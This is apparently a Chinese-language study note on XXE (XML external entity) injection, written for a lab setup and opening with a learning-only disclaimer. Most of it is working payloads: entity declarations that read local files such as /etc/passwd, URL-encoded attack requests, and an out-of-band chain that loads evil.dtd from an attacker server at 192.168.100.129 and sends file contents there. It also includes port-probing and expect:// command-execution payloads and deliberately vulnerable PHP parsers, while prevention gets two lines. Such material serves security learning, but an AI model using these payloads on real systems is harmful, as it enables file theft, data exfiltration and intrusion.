郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
XXE 注入
XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)
libxml 版本大于2.9 不支持外部实体
1 XXE 注入定义
XXE 注入,即 XML External Entity,XML 外部实体注入。通过 XML 实体”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
2 XML 基础
ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个 ENTITY,然后在这些文档中需要该数据的地方调用它。
2.1 内部实体
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
<!ENTITY 实体名称 "实体的值">
例:
DTD:
<!ENTITY example "value of entity">
XML:
<inside>&example;</inside>
注释: 一个实体由三部分构成: "&实体名称;"
2.2 外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例:
DTD:
<!ENTITY example SYSTEM "http://example.com/dtd/outside.dtd">
XML:
<outside>&example;</outside>
2.3 参数实体
- 参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。
- 参数实体在 DTD 中解析优先级高于 xml 内部实体
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
例:
<!DOCTYPE a [
<!ENTITY % file SYSTEM “file:///etc/passwd”>
%file;
]>
3 XXE 的危害
- 任意文件读取
- 执行系统命令
- 探测内网端口
- 攻击内网网站
4 XXE 利用方式
4.1 有回显注入方式
4.1.1 有回显测试语句
xxe.php
<?php
include 'init.php';
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><body>XXE</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>
4.1.2 有回显 Payload
- 命名实体+外部实体
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
]>
<root>&a;</root>
[执行 payload 语句]
http://xxe.lab.com/xxe.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%20%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20a%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%5D%3E%0A%3Croot%3E%26a%3B%3C%2froot%3E
由于 $string_xml 已经带有 xml 头信息,此处可以省略
<!DOCTYPE root [
<!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
]>
[执行 payload 语句]
http://xxe.lab.com/xxe.php?xml=%3C%21DOCTYPE%20root%20%5B%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20a%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%5D%3E%0A%3Croot%3E%26a%3B%3C%2froot%3E
4.2 无回显注入方式
- 攻击者发送 XML 给 Web 服务器,该 XML 文件中引用了一个外部实体,详细代码见下。
- Web 服务器解析 攻击者 发送的 XML,根据 XML 向 攻击者的服务器 请求获取恶意 DTD
- Web 服务器获取到 恶意 DTD 后,根据其内容,带着含有 Web 服务器上的信息去访问攻击者服务器上的 HTTP 或 FTP
- 攻击者可以通过请求日志来查看请求的参数来获取信息。
4.2.1 无回显测试语句
<?php
include 'init.php';
$xml = $_GET['xml'];
$data = simplexml_load_string($xml);
?>
4.2.2 无回显 Payload 1
命名实体+外部实体+参数实体
调用过程为:参数实体 dtd 调用外部实体 evil.xml, 然后又调用参数实体all,接着调用命名实体 send;
目的:通过外带数据通道提取读取的 1.txt 文件内容数据,以解决无加显问题。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/xxe/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.100.129/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
[执行 payload 语句]
http://xxe.lab.com/xxe02.php?xml=
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20data%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20file%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%20%20%20%20%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2f%2f192.168.100.129%2fevil.dtd%22%3E%20%0A%20%20%20%20%25remote%3B%0A%09%25all%3B%20%0A%5D%3E%20%0A%3Croot%3E%26send%3B%3C%2froot%3E
其中 evil.dtd 文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.100.129/recv_data.dtd?file=%file;'>">
revc_data.php 文件内容为
4.2.3 无回显 Payload 2
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/xxe/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.100.129:80/evil.xml">
%remote;
%payload;
]>
<root>&send;</root>
其中 evil.xml 文件内容为:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://192.168.100.129/?file=%file;'>">
使用的 php://filter
将文件内容进行了 base64 编码,因为当我们读取的文件是 php 或则 html 文件时,文件的代码包含 <
>
符号时会导致解析错误。
这里声明 payload 实体参数,该实体参数以 base64 编码方式读取了 windows 靶机中 c:/xxe/1.txt
文件内容,然后做为 URL 参数请求到自己的服务器上。然后请求 payload 可以在日志文件中找到经过 base64 编码的文件内容:
tail /var/log/apache2/access.log
其他利用方式请参考:未知攻焉知防——XXE漏洞攻防 - SecPulse.COM | 安全脉搏
5 XML 注入实例
5.1 文档内容读取
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!-- file 协议 -->
<!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
<!-- PHP 协议 -->
<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php">
]>
<root>&a;</root>
5.2 探测端口
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!-- 探测端口 -->
<!ENTITY a SYSTEM "http://xxe.lab.com:3306">
]>
<root>&a;</root>
5.3 执行命令
- 需要开启 expect 扩展
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!-- 执行命令 -->
<!ENTITY a SYSTEM "expect://ls">
]>
<root>&a;</root>
6 XXE 预防
- 禁用外部实体
- 过滤用户提交的 XML 关键字